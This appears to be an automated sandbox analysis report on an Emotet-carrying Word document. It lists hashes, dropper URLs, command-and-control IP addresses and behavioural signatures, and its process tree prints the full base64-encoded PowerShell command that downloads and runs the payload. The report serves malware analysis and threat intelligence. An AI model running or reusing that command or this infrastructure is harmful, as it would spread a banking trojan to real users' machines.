Analysis

  • max time kernel
    140s
  • max time network
    140s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    04/09/2020, 03:37

General

  • Target
    doc_20200904_51668.doc
  • Size 236KB
  • Sample200904-e7l5yavlve
  • SHA256 6fb9ee26a4d1cd44041b63fcb2e65e6a4e4b61ca73d4e847d56d47076abeb32e
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://sitecgps.com/assets/hj8/

  • exe.dropper

    http://andrescardozo.com/programas/k/

  • exe.dropper

    http://banie.net/mariola/MW/

  • exe.dropper

    https://www.martinsassessoriadigital.com/medias/1/

  • exe.dropper

    http://associacaomda.org/erros/R4t/

  • exe.dropper

    http://paramythou.gr/wp-includes/2/

  • exe.dropper

    https://vedox.com/wp-includes/z/

Extracted

Family
  • emotet

C2
  • 185.215.227.107:443

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 172.104.169.32:8080

  • 68.183.190.199:8080

  • 187.162.248.237:80

  • 82.76.111.249:443

  • 184.66.18.83:80

  • 190.6.193.152:8080

  • 77.238.212.227:80

  • 199.203.62.165:80

  • 188.2.217.94:80

  • 185.94.252.12:80

  • 178.250.54.208:8080

  • 206.15.68.237:443

  • 65.36.62.20:80

  • 216.47.196.104:80

  • 219.92.8.17:8080

  • 213.60.96.117:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\doc_20200904_51668.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:532
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:2232
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABEAHMAcgBwAHcAaQB4AD0AKAAoACcATwBwACcAKwAnAGoAdAAnACkAKwAnAHMAcQAnACsAJwB5ACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAcgBQAHIATwBmAEkAbABlAFwAVQAzAFMARgA4AFoARwBcAFQAeQA5AEwAZQBiADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAEMAdQBgAFIAaQBUAHkAUABSAE8AYABUAG8AYwBvAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAnACsAJwAxADIALAAgACcAKQArACgAJwB0ACcAKwAnAGwAcwAxACcAKQArACcAMQAnACsAKAAnACwAIAB0AGwAJwArACcAcwAnACkAKQA7ACQAUgB6AHAAOAB2ADcANwAgAD0AIAAoACgAJwBJAGgAJwArACcAbAAxAGoAJwApACsAJwAwACcAKQA7ACQASAB3AF8AcwB5AHQAOAA9ACgAKAAnAFIAJwArACcANwBiACcAKQArACgAJwAyAGMAbwAnACsAJwBxACcAKQApADsAJABaADQAdgBpAGwAcgBoAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADkAJwArACgAJwB2AGoAJwArACcAVQAnACkAKwAoACcAMwBzAGYAJwArACcAOAB6ACcAKQArACgAJwBnADkAJwArACcAdgBqAFQAeQA5ACcAKwAnAGwAZQBiACcAKQArACcANAAnACsAKAAnADkAJwArACcAdgBqACcAKQApAC4AIgByAGAAZQBwAGAAbABhAEMAZQAiACgAKAAnADkAdgAnACsAJwBqACcAKQAsAFsAUwB0AFIASQBuAEcAXQBbAGMASABBAFIAXQA5ADIAKQApACsAJABSAHoAcAA4AHYANwA3ACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQATwBmADYAdgByAHAAeAA9ACgAJwBIAGEAJwArACgAJwB6AF8AOQAyACcAKwAnAGMAJwApACkAOwAkAEQAaQBtAHEAaABnAHIAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBlAGIAQwBsAGkARQBOAHQAOwAkAEQAMwB3ADkAaAA4AG0APQAoACcAaAB0ACcAKwAnAHQAcAAnACsAKAAnADoALwAvACcAKwAnAHMAaQAnACsAJwB0ACcAKQArACgAJwBlAGMAZwBwACcAKwAnAHMALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvAGEAJwArACcAcwBzACcAKwAnAGUAdAAnACsAKAAnAHMALwBoAGoAOAAnACsAJwAvACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwBhACcAKwAnAG4AJwArACgAJwBkAHIAJwArACcAZQAnACkAKwAnAHMAJwArACcAYwAnACsAJwBhAHIAJwArACcAZAAnACsAKAAnAG8AegAnACsAJwBvACcAKQArACcALgBjACcAKwAnAG8AJwArACcAbQAnACsAKAAnAC8AJwArACcAcAByACcAKQArACgAJwBvACcAKwAnAGcAcgAnACkAKwAoACcAYQAnACsAJwBtAGEAcwAnACkAKwAoACcALwAnACsAJwBrAC8AJwApACsAJwAqAGgAJwArACgAJwB0ACcAKwAnAHQAcAA6ACcAKwAnAC8ALwAnACkAKwAoACcAYgBhAG4AaQBlACcAKwAnAC4AbgAnACkAKwAnAGUAdAAnACsAKAAnAC8AbQAnACsAJwBhAHIAJwArACcAaQBvAGwAJwApACsAKAAnAGEALwAnACsAJwBNACcAKQArACgAJwBXACcAKwAnAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcABzADoAJwArACcALwAvAHcAdwB3AC4AJwApACsAKAAnAG0AJwArACcAYQByACcAKQArACcAdABpACcAKwAoACcAbgBzAGEAcwBzAGUAJwArACcAcwBzAG8AJwArACcAcgAnACsAJwBpACcAKQArACcAYQAnACsAKAAnAGQAaQAnACsAJwBnAGkAdAAnACsAJwBhAGwAJwApACsAKAAnAC4AYwBvAG0AJwArACcALwAnACkAKwAoACcAbQBlAGQAaQAnACsAJwBhAHMALwAnACsAJwAxAC8AJwArACcAKgBoACcAKwAnAHQAdABwADoALwAnACkAKwAoACcALwAnACsAJwBhAHMAJwArACcAcwBvAGMAaQAnACkAKwAnAGEAJwArACcAYwBhACcAKwAoACcAbwBtAGQAJwArACcAYQAuACcAKQArACgAJwBvACcAKwAnAHIAZwAvAGUAJwApACsAKAAnAHIAJwArACcAcgBvACcAKQArACgAJwBzAC8AJwArACcAUgA0ACcAKQArACgAJwB0AC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBwAGEAcgBhACcAKQArACcAbQAnACsAJwB5ACcAKwAnAHQAJwArACcAaABvACcAKwAoACcAdQAuAGcAcgAnACsAJwAvAHcAJwApACsAKAAnAHAALQBpAG4AJwArACcAYwAnACkAKwAoACcAbAAnACsAJwB1AGQAZQBzAC8AJwArACcAMgAvACcAKwAnACoAJwApACsAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnAHMAOgAvACcAKwAnAC8AJwApACsAJwB2ACcAKwAoACcAZQBkACcAKwAnAG8AeAAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwB3AHAAJwApACsAJwAtAGkAJwArACcAbgAnACsAJwBjACcAKwAnAGwAdQAnACsAKAAnAGQAZQAnACsAJwBzAC8AegAvACcAKQApAC4AIgBzAFAAbABgAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYAdgBoADQAdwAyAF8APQAoACcAUgAnACsAJwBuACcAKwAoACcAdwB4AHEAegAnACsAJwB2ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARABoAGcAYwBzADMAZAAgAGkAbgAgACQARAAzAHcAOQBoADgAbQApAHsAdAByAHkAewAkAEQAaQBtAHEAaABnAHIALgAiAGQATwBgAHcAbgBgAEwAYABvAGEAZABmAGkATABFACIAKAAkAEQAaABnAGMAcwAzAGQALAAgACQAWgA0AHYAaQBsAHIAaAApADsAJABXADUAMgB2AHAAbgBxAD0AKAAoACcAWgA4ACcAKwAnAGgAJwApACsAKAAnAHgAJwArACcANQA5AGYAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQAWgA0AHYAaQBsAHIAaAApAC4AIgBsAGAAZQBOAGcAVABIACIAIAAtAGcAZQAgADMAOAA1ADcANgApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABaADQAdgBpAGwAcgBoACkAOwAkAFkAdQBzAGgAeAAzADQAPQAoACcAUwAnACsAKAAnADkAZQAnACsAJwA1ACcAKQArACgAJwBfAHgAJwArACcAdwAnACkAKQA7AGIAcgBlAGEAawA7ACQAVgBlAGUAXwByAHoANQA9ACgAJwBKACcAKwAoACcANQAxAHUAJwArACcAbQBrADIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIANQB0AGUAYwB4AGgAPQAoACcAWQBwACcAKwAoACcAegAnACsAJwBxAG0AJwApACsAJwBhAGEAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2148
    • C:\Users\Admin\U3sf8zg\Ty9leb4\Ihl1j0.exe
      "C:\Users\Admin\U3sf8zg\Ty9leb4\Ihl1j0.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3896
      • C:\Windows\SysWOW64\LockAppBroker\AuthFWSnapin.exe
        "C:\Windows\SysWOW64\LockAppBroker\AuthFWSnapin.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3784

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/532-5-0x00000245930F5000-0x000002459312D000-memory.dmp

        memory/532-0-0x00007FFF56F00000-0x00007FFF575C6000-memory.dmp

        memory/2148-12-0x000001F5C1AD0000-0x000001F5C1AD1000-memory.dmp

        memory/2148-13-0x000001F5D9E00000-0x000001F5D9E01000-memory.dmp

        memory/2148-11-0x00007FFF4B790000-0x00007FFF4C17C000-memory.dmp

        memory/3784-21-0x0000000002280000-0x000000000228D000-memory.dmp

        memory/3784-22-0x0000000002290000-0x000000000229C000-memory.dmp

        memory/3896-17-0x0000000002240000-0x000000000224D000-memory.dmp

        memory/3896-18-0x00000000022F0000-0x00000000022FC000-memory.dmp